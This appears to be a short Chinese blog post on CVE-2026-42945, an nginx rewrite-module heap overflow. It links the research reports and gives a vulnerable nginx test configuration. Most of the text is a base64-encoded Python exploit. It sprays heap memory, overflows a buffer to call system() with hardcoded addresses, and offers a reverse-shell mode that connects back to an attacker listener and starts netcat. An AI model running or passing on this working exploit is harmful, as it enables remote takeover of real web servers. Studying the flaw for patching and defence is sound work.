CVE-2026-42945: Nginx Rift
2026年5月17日小于 1 分钟
Nginx rewrite 模块潜伏18年(2008 ~ 2026 年,版本:1.0.0 ~ 1.30.0)的缓冲区溢出漏洞,可以导致进程崩溃、远程代码执行。
报告:
- https://depthfirst.com/nginx-rift
- depthfirst研究报告: https://depthfirst.com/research/nginx-rift-achieving-nginx-rce-via-an-18-year-old-vulnerability
- F5公告(受影响版本+修复): https://my.f5.com/manage/s/article/K000160932
POC(Proof of Concept,概念验证):
分析
Heap-based Buffer Overflow
daemon off;
worker_processes 1;
error_log logs/error.log;
pid tmp/nginx.pid;
worker_rlimit_core 500M;
working_directory tmp;
events {
worker_connections 1024;
}
http {
access_log off;
client_body_temp_path tmp;
proxy_temp_path tmp;
fastcgi_temp_path tmp;
uwsgi_temp_path tmp;
scgi_temp_path tmp;
upstream backend {
server 127.0.0.1:19323;
}
server {
listen 19322;
location / { return 200 "backend ok\n"; }
}
server {
listen 19321;
request_pool_size 7920;
connection_pool_size 4096;
client_header_buffer_size 2048;
# The rewrite + set combination triggers the bug:
# - rewrite sets e->is_args = 1 (due to '?' in replacement)
# - set $original_endpoint $1 allocates buffer using raw capture
# length, but copies with escape expansion (3x for '+' chars)
location ~ ^/api/(.*)$ {
rewrite ^/api/(.*)$ /internal?migrated=true;
set $original_endpoint $1;
}
location /internal {
internal;
proxy_pass http://backend;
proxy_read_timeout 60s;
}
# Spray: POST body stored in pool memory (binary data, NUL bytes allowed)
location /spray {
client_body_in_single_buffer on;
proxy_pass http://backend;
proxy_read_timeout 60s;
}
location / { return 200 "ok\n"; }
}
}# base64
IyEvdXNyL2Jpbi9lbnYgcHl0aG9uMwppbXBvcnQgYXJncGFyc2UKaW1wb3J0IHNvY2tldAppbXBvcnQgc3RydWN0CmltcG9ydCB0aW1lCmltcG9ydCBzeXMKCkJPRFlfTEVOID0gNDAwMApOX1NQUkFZID0gMjAKClNBRkUgPSBzZXQoKQpfdCA9IFsweGZmZmZmZmZmLCAweGQ4MDAwODZkLCAweDUwMDAwMDAwLCAweGI4MDAwMDAxLAogICAgICAweGZmZmZmZmZmLCAweGZmZmZmZmZmLCAweGZmZmZmZmZmLCAweGZmZmZmZmZmXQpmb3IgX2IgaW4gcmFuZ2UoMjU2KToKICAgIGlmIG5vdCAoX3RbX2IgPj4gNV0gJiAoMSA8PCAoX2IgJiAweDFmKSkpOgogICAgICAgIFNBRkUuYWRkKF9iKQoKSEVBUF9CQVNFID0gMHg1NTU1NTU2NTkwMDAKTElCQ19CQVNFID0gMHg3ZmZmZjc3YmEwMDAKU1lTVEVNX0FERFIgPSBMSUJDX0JBU0UgKyAweDUwZDcwCgpQUkVSRUFEX0hFQVBfT0ZGU0VUUyA9IFsKICAgIDB4MDVhNDI3LCAweDA2MGU2NywKICAgIDB4MGJhNTU3LCAweDBiZjM2NywgMHgwYzQxNzcsIDB4MGM4Zjg3LCAweDBjZGQ5NywKICAgIDB4MGQyYmE3LCAweDBkNzliNywgMHgwZGM3YzcsIDB4MGUxNWQ3LCAweDBlNjNlNywKICAgIDB4MGViMWY3LCAweDBmMDAwNywgMHgwZjRlMTcsIDB4MGY5YzI3LCAweDBmZWEzNywKICAgIDB4MTAzODQ3LCAweDEwODY1NywgMHgxMGQ0NjcsCl0KCgpkZWYgYWRkcl9pc19zYWZlKGFkZHIpOgogICAgcmV0dXJuIGFsbCgoKGFkZHIgPj4gKGogKiA4KSkgJiAweGZmKSBpbiBTQUZFIGZvciBqIGluIHJhbmdlKDYpKQoKCmRlZiBtYWtlX2JvZHkoY21kLCBkYXRhX2FkZHIpOgogICAgZmFrZV9zdHJ1Y3QgPSBzdHJ1Y3QucGFjaygnPFFRUScsIFNZU1RFTV9BRERSLCBkYXRhX2FkZHIsIDApCiAgICBjbWRfYnl0ZXMgPSBjbWQuZW5jb2RlKCd1dGYtOCcpICsgYidceDAwJwogICAgcGF5bG9hZCA9IGZha2Vfc3RydWN0ICsgY21kX2J5dGVzCiAgICBpZiBsZW4ocGF5bG9hZCkgPiBCT0RZX0xFTjoKICAgICAgICBwcmludChmIlshXSBDb21tYW5kIHRvbyBsb25nIChib2R5PXtsZW4ocGF5bG9hZCl9LCBtYXg9e0JPRFlfTEVOfSkiKQogICAgICAgIHN5cy5leGl0KDEpCiAgICByZXR1cm4gcGF5bG9hZCArIGInXHg0MScgKiAoQk9EWV9MRU4gLSBsZW4ocGF5bG9hZCkpCgoKZGVmIHdhaXRfYWxpdmUoaG9zdCwgcG9ydCwgdGltZW91dD0zMCk6CiAgICBmb3IgXyBpbiByYW5nZSh0aW1lb3V0KToKICAgICAgICB0cnk6CiAgICAgICAgICAgIHMgPSBzb2NrZXQuY3JlYXRlX2Nvbm5lY3Rpb24oKGhvc3QsIHBvcnQpLCB0aW1lb3V0PTIpCiAgICAgICAgICAgIHMuc2VuZGFsbChiIkdFVCAvIEhUVFAvMS4xXHJcbkhvc3Q6bFxyXG5Db25uZWN0aW9uOmNsb3NlXHJcblxyXG4iKQogICAgICAgICAgICBzLnJlY3YoMTAwKQogICAgICAgICAgICBzLmNsb3NlKCkKICAgICAgICAgICAgcmV0dXJuIFRydWUKICAgICAgICBleGNlcHQgRXhjZXB0aW9uOgogICAgICAgICAgICB0aW1lLnNsZWVwKDEpCiAgICByZXR1cm4gRmFsc2UKCgpkZWYgYXR0ZW1wdChob3N0LCBwb3J0LCB0YXJnZXRfYnl0ZXMsIGJvZHkpOgogICAgc3ByYXlzID0gW10KICAgIGZvciBpIGluIHJhbmdlKE5fU1BSQVkpOgogICAgICAgIHRyeToKICAgICAgICAgICAgcyA9IHNvY2tldC5jcmVhdGVfY29ubmVjdGlvbigoaG9zdCwgcG9ydCksIHRpbWVvdXQ9NSkKICAgICAgICAgICAgcmVxID0gKAogICAgICAgICAgICAgICAgYiJQT1NUIC9zcHJheSBIVFRQLzEuMVxyXG4iCiAgICAgICAgICAgICAgICBiIkhvc3Q6IGxcclxuIgogICAgICAgICAgICAgICAgYiJDb250ZW50LUxlbmd0aDogIiArIHN0cihCT0RZX0xFTikuZW5jb2RlKCkgKyBiIlxyXG4iCiAgICAgICAgICAgICAgICBiIlgtRGVsYXk6IDYwXHJcbiIKICAgICAgICAgICAgICAgIGIiQ29ubmVjdGlvbjogY2xvc2VcclxuIgogICAgICAgICAgICAgICAgYiJcclxuIgogICAgICAgICAgICAgICAgKyBib2R5CiAgICAgICAgICAgICkKICAgICAgICAgICAgcy5zZW5kYWxsKHJlcSkKICAgICAgICAgICAgc3ByYXlzLmFwcGVuZChzKQogICAgICAgIGV4Y2VwdCBFeGNlcHRpb246CiAgICAgICAgICAgIGJyZWFrCiAgICAgICAgdGltZS5zbGVlcCgwLjAwNSkKICAgIHRpbWUuc2xlZXAoMC4yKQoKICAgIHRyeToKICAgICAgICBhID0gc29ja2V0LmNyZWF0ZV9jb25uZWN0aW9uKChob3N0LCBwb3J0KSwgdGltZW91dD01KQogICAgICAgIHRpbWUuc2xlZXAoMC4wMikKICAgICAgICB2ID0gc29ja2V0LmNyZWF0ZV9jb25uZWN0aW9uKChob3N0LCBwb3J0KSwgdGltZW91dD01KQogICAgICAgIHRpbWUuc2xlZXAoMC4wMikKICAgIGV4Y2VwdCBFeGNlcHRpb246CiAgICAgICAgZm9yIHMgaW4gc3ByYXlzOgogICAgICAgICAgICB0cnk6CiAgICAgICAgICAgICAgICBzLmNsb3NlKCkKICAgICAgICAgICAgZXhjZXB0IEV4Y2VwdGlvbjoKICAgICAgICAgICAgICAgIHBhc3MKICAgICAgICByZXR1cm4gRmFsc2UKCiAgICBwYXlsb2FkID0gIkEiICogMzQ5ICsgIisiICogOTY5ICsgdGFyZ2V0X2J5dGVzLmRlY29kZSgibGF0aW4tMSIpCiAgICBhLnNlbmRhbGwoKGYiR0VUIC9hcGkve3BheWxvYWR9IEhUVFAvMS4xXHJcbiIKICAgICAgICAgICAgICAgZiJIb3N0OmxvY2FsaG9zdFxyXG4iKS5lbmNvZGUoImxhdGluLTEiKSkKICAgIHRpbWUuc2xlZXAoMC4wNSkKICAgIHYuc2VuZGFsbChiIkdFVCAvIEhUVFAvMS4xXHJcbkhvc3Q6bG9jYWxob3N0XHJcbiIpCiAgICB0aW1lLnNsZWVwKDAuMDUpCiAgICBhLnNlbmRhbGwoYiJYLURlbGF5OjYwXHJcbkNvbm5lY3Rpb246Y2xvc2VcclxuXHJcbiIpCiAgICB0aW1lLnNsZWVwKDAuMikKCiAgICB2LmNsb3NlKCkKICAgIHRpbWUuc2xlZXAoMC4xKQoKICAgIGNyYXNoZWQgPSBGYWxzZQogICAgdHJ5OgogICAgICAgIGEuc2VuZGFsbChiIlgtUGluZzoxXHJcbiIpCiAgICAgICAgYS5zZXR0aW1lb3V0KDAuMikKICAgICAgICBkYXRhID0gYS5yZWN2KDEpCiAgICAgICAgaWYgbm90IGRhdGE6CiAgICAgICAgICAgIGNyYXNoZWQgPSBUcnVlCiAgICBleGNlcHQgc29ja2V0LnRpbWVvdXQ6CiAgICAgICAgIyBJdCB0aW1lZCBvdXQuIE5naW54IGlzIGVpdGhlciBhbGl2ZSAod2FpdGluZyBmb3IgYmFja2VuZCkgb3IgaHVuZyBpbiBzeXN0ZW0oKS4KICAgICAgICAjIExldCdzIHRyeSB0byBtYWtlIGEgbmV3IGNvbm5lY3Rpb24gdG8gc2VlIGlmIHRoZSB3b3JrZXIgaXMgcmVzcG9uc2l2ZS4KICAgICAgICB0cnk6CiAgICAgICAgICAgIGNoZWNrX3NvY2sgPSBzb2NrZXQuY3JlYXRlX2Nvbm5lY3Rpb24oKGhvc3QsIHBvcnQpLCB0aW1lb3V0PTAuMikKICAgICAgICAgICAgY2hlY2tfc29jay5zZW5kYWxsKGIiR0VUIC8gSFRUUC8xLjFcclxuSG9zdDpsb2NhbGhvc3RcclxuQ29ubmVjdGlvbjpjbG9zZVxyXG5cclxuIikKICAgICAgICAgICAgY2hlY2tfZGF0YSA9IGNoZWNrX3NvY2sucmVjdigxMCkKICAgICAgICAgICAgY2hlY2tfc29jay5jbG9zZSgpCiAgICAgICAgICAgIGlmIG5vdCBjaGVja19kYXRhOgogICAgICAgICAgICAgICAgY3Jhc2hlZCA9IFRydWUKICAgICAgICAgICAgZWxzZToKICAgICAgICAgICAgICAgIGNyYXNoZWQgPSBGYWxzZQogICAgICAgIGV4Y2VwdCBFeGNlcHRpb246CiAgICAgICAgICAgIGNyYXNoZWQgPSBUcnVlCiAgICBleGNlcHQgKENvbm5lY3Rpb25SZXNldEVycm9yLCBCcm9rZW5QaXBlRXJyb3IsIE9TRXJyb3IpOgogICAgICAgIGNyYXNoZWQgPSBUcnVlCgogICAgZm9yIHMgaW4gc3ByYXlzOgogICAgICAgIHRyeToKICAgICAgICAgICAgcy5jbG9zZSgpCiAgICAgICAgZXhjZXB0IEV4Y2VwdGlvbjoKICAgICAgICAgICAgcGFzcwogICAgdHJ5OgogICAgICAgIGEuY2xvc2UoKQogICAgZXhjZXB0IEV4Y2VwdGlvbjoKICAgICAgICBwYXNzCiAgICByZXR1cm4gY3Jhc2hlZAoKCmRlZiBtYWluKCk6CiAgICBwYXJzZXIgPSBhcmdwYXJzZS5Bcmd1bWVudFBhcnNlcigKICAgICAgICBkZXNjcmlwdGlvbj0ibmdpbnggcmlmdCBSQ0UgZXhwbG9pdCAoQVNMUiBkaXNhYmxlZCkiCiAgICApCiAgICBwYXJzZXIuYWRkX2FyZ3VtZW50KCItLWhvc3QiLCBkZWZhdWx0PSIxMjcuMC4wLjEiLAogICAgICAgICAgICAgICAgICAgICAgICBoZWxwPSJ0YXJnZXQgaG9zdCAoZGVmYXVsdDogMTI3LjAuMC4xKSIpCiAgICBwYXJzZXIuYWRkX2FyZ3VtZW50KCItLXBvcnQiLCB0eXBlPWludCwgZGVmYXVsdD0xOTMyMSwKICAgICAgICAgICAgICAgICAgICAgICAgaGVscD0idGFyZ2V0IHBvcnQgKGRlZmF1bHQ6IDE5MzIxKSIpCiAgICBwYXJzZXIuYWRkX2FyZ3VtZW50KCItLWNtZCIsCiAgICAgICAgICAgICAgICAgICAgICAgIGhlbHA9InNoZWxsIGNvbW1hbmQgdG8gZXhlY3V0ZSB2aWEgc3lzdGVtKCkiKQogICAgcGFyc2VyLmFkZF9hcmd1bWVudCgiLS1zaGVsbCIsIGFjdGlvbj0ic3RvcmVfdHJ1ZSIsCiAgICAgICAgICAgICAgICAgICAgICAgIGhlbHA9ImV4ZWN1dGUgYSByZXZlcnNlIHNoZWxsIGJhY2sgdG8gdGhlIGF0dGFja2VyIikKICAgIHBhcnNlci5hZGRfYXJndW1lbnQoIi0tbGlzdGVuLXBvcnQiLCB0eXBlPWludCwgZGVmYXVsdD0xMzM3LAogICAgICAgICAgICAgICAgICAgICAgICBoZWxwPSJwb3J0IHRvIGxpc3RlbiBvbiBmb3IgcmV2ZXJzZSBzaGVsbCAoZGVmYXVsdDogMTMzNykiKQogICAgcGFyc2VyLmFkZF9hcmd1bWVudCgiLS1saXN0ZW4taXAiLCB0eXBlPXN0ciwgZGVmYXVsdD0iMTcyLjE3LjAuMSIsCiAgICAgICAgICAgICAgICAgICAgICAgIGhlbHA9IklQIGFkZHJlc3MgZm9yIHJldmVyc2Ugc2hlbGwgdG8gY29ubmVjdCBiYWNrIHRvIChkZWZhdWx0OiAxNzIuMTcuMC4xKSIpCiAgICBhcmdzID0gcGFyc2VyLnBhcnNlX2FyZ3MoKQoKICAgIGlmIG5vdCBhcmdzLmNtZCBhbmQgbm90IGFyZ3Muc2hlbGw6CiAgICAgICAgcGFyc2VyLmVycm9yKCJlaXRoZXIgLS1jbWQgb3IgLS1zaGVsbCBtdXN0IGJlIHNwZWNpZmllZCIpCiAgICBpZiBhcmdzLmNtZCBhbmQgYXJncy5zaGVsbDoKICAgICAgICBwYXJzZXIuZXJyb3IoImNhbm5vdCBzcGVjaWZ5IGJvdGggLS1jbWQgYW5kIC0tc2hlbGwiKQoKICAgIGhvc3QgPSBhcmdzLmhvc3QKICAgIHBvcnQgPSBhcmdzLnBvcnQKICAgIAogICAgaWYgYXJncy5zaGVsbDoKICAgICAgICBsb2NhbF9pcCA9IGFyZ3MubGlzdGVuX2lwCiAgICAgICAgY21kID0gZiJweXRob24zIC1jICdpbXBvcnQgc29ja2V0LHN1YnByb2Nlc3Msb3M7cz1zb2NrZXQuc29ja2V0KHNvY2tldC5BRl9JTkVULHNvY2tldC5TT0NLX1NUUkVBTSk7cy5jb25uZWN0KChcIntsb2NhbF9pcH1cIix7YXJncy5saXN0ZW5fcG9ydH0pKTtvcy5kdXAyKHMuZmlsZW5vKCksMCk7b3MuZHVwMihzLmZpbGVubygpLDEpO29zLmR1cDIocy5maWxlbm8oKSwyKTtzdWJwcm9jZXNzLmNhbGwoW1wiL2Jpbi9zaFwiLFwiLWlcIl0pJyIKICAgICAgICBwcmludChmIlsqXSBHZW5lcmF0ZWQgcmV2ZXJzZSBzaGVsbCBjb21tYW5kOiB7Y21kfSIpCiAgICBlbHNlOgogICAgICAgIGNtZCA9IGFyZ3MuY21kCgogICAgaWYgYXJncy5zaGVsbDoKICAgICAgICBpbXBvcnQgdGhyZWFkaW5nCiAgICAgICAgZGVmIGxpc3Rlbl9zaGVsbCgpOgogICAgICAgICAgICBwcmludChmIlsqXSBMaXN0ZW5pbmcgZm9yIHJldmVyc2Ugc2hlbGwgb24gcG9ydCB7YXJncy5saXN0ZW5fcG9ydH0uLi4iKQogICAgICAgICAgICAjIFVzZSBuZXRjYXQgaWYgYXZhaWxhYmxlLCBvdGhlcndpc2UganVzdCB1c2UgYSBzaW1wbGUgc29ja2V0IGxpc3RlbmVyCiAgICAgICAgICAgIGltcG9ydCBzdWJwcm9jZXNzCiAgICAgICAgICAgIHRyeToKICAgICAgICAgICAgICAgIHN1YnByb2Nlc3MucnVuKFsibmMiLCAiLWwiLCAiLXAiLCBzdHIoYXJncy5saXN0ZW5fcG9ydCldLCBjaGVjaz1UcnVlKQogICAgICAgICAgICBleGNlcHQgRXhjZXB0aW9uOgogICAgICAgICAgICAgICAgcHJpbnQoZiJbIV0gQ291bGQgbm90IHN0YXJ0IG5ldGNhdC4gUGxlYXNlIHJ1bjogbmMgLWwgLXAge2FyZ3MubGlzdGVuX3BvcnR9IikKICAgICAgICAgICAgICAgIAogICAgICAgIHQgPSB0aHJlYWRpbmcuVGhyZWFkKHRhcmdldD1saXN0ZW5fc2hlbGwpCiAgICAgICAgdC5kYWVtb24gPSBUcnVlCiAgICAgICAgdC5zdGFydCgpCiAgICAgICAgIyBHaXZlIHRoZSBsaXN0ZW5lciBhIG1vbWVudCB0byBzdGFydAogICAgICAgIHRpbWUuc2xlZXAoMSkKCiAgICBjYW5kaWRhdGVzID0gW10KICAgIGZvciBpLCBvZmYgaW4gZW51bWVyYXRlKFBSRVJFQURfSEVBUF9PRkZTRVRTKToKICAgICAgICBhZGRyID0gSEVBUF9CQVNFICsgb2ZmCiAgICAgICAgaWYgYWRkcl9pc19zYWZlKGFkZHIpOgogICAgICAgICAgICBjYW5kaWRhdGVzLmFwcGVuZCgoaSwgYWRkcikpCgogICAgcHJpbWFyeV9hZGRyID0gY2FuZGlkYXRlc1swXVsxXQogICAgZGF0YV9hZGRyID0gcHJpbWFyeV9hZGRyICsgMjQKICAgIGJvZHkgPSBtYWtlX2JvZHkoY21kLCBkYXRhX2FkZHIpCgogICAgcHJpbnQoZiJbKl0gV2FpdGluZyBmb3Igbmdpbnggb24ge2hvc3R9Ontwb3J0fS4uLiIpCiAgICBpZiBub3Qgd2FpdF9hbGl2ZShob3N0LCBwb3J0KToKICAgICAgICBwcmludCgiWyFdIG5naW54IG5vdCByZXNwb25kaW5nIikKICAgICAgICByZXR1cm4gMQogICAgcHJpbnQoIlsrXSBDb25uZWN0ZWQuIikKCiAgICBUUklFU19QRVJfQ0FORElEQVRFID0gMTAKCiAgICBmb3IgaSwgYWRkciBpbiBjYW5kaWRhdGVzOgogICAgICAgIHRhcmdldCA9IGJ5dGVzKFsoYWRkciA+PiAoaiAqIDgpKSAmIDB4ZmYgZm9yIGogaW4gcmFuZ2UoNildKQoKICAgICAgICBmb3IgdCBpbiByYW5nZShUUklFU19QRVJfQ0FORElEQVRFKToKICAgICAgICAgICAgaWYgbm90IHdhaXRfYWxpdmUoaG9zdCwgcG9ydCwgdGltZW91dD0xMCk6CiAgICAgICAgICAgICAgICB0aW1lLnNsZWVwKDIpCiAgICAgICAgICAgICAgICBpZiBub3Qgd2FpdF9hbGl2ZShob3N0LCBwb3J0LCB0aW1lb3V0PTEwKToKICAgICAgICAgICAgICAgICAgICBwcmludCgiICAgIHNlcnZlciBub3QgcmVjb3ZlcmluZywgYWJvcnRpbmciKQogICAgICAgICAgICAgICAgICAgIHJldHVybiAxCgogICAgICAgICAgICBjcmFzaGVkID0gYXR0ZW1wdChob3N0LCBwb3J0LCB0YXJnZXQsIGJvZHkpCiAgICAgICAgICAgIGlmIGNyYXNoZWQ6CiAgICAgICAgICAgICAgICBpZiBhcmdzLnNoZWxsOgogICAgICAgICAgICAgICAgICAgIHRyeToKICAgICAgICAgICAgICAgICAgICAgICAgd2hpbGUgVHJ1ZToKICAgICAgICAgICAgICAgICAgICAgICAgICAgIHRpbWUuc2xlZXAoMSkKICAgICAgICAgICAgICAgICAgICBleGNlcHQgS2V5Ym9hcmRJbnRlcnJ1cHQ6CiAgICAgICAgICAgICAgICAgICAgICAgIHBhc3MKICAgICAgICAgICAgICAgIGVsc2U6CiAgICAgICAgICAgICAgICAgICAgcHJpbnQoZiJbK10gdHJ5IHt0ICsgMX0ve1RSSUVTX1BFUl9DQU5ESURBVEV9ICIKICAgICAgICAgICAgICAgICAgICAgIGYiY3Jhc2hlZCDigJQgc3lzdGVtKFwie2NtZH1cIikgZXhlY3V0ZWQiKQogICAgICAgICAgICAgICAgcHJpbnQoZiJbK10gRG9uZS4iKQogICAgICAgICAgICAgICAgcmV0dXJuIDAKICAgICAgICAgICAgdGltZS5zbGVlcCgwLjMpCgogICAgICAgIHByaW50KCJbK10gQWxsIGNhbmRpZGF0ZXMgdHJpZWQg4oCUIG5vIGNyYXNoIGRldGVjdGVkLiIpCiAgICByZXR1cm4gMAoKCmlmIF9fbmFtZV9fID09ICJfX21haW5fXyI6CiAgICBzeXMuZXhpdChtYWluKCkp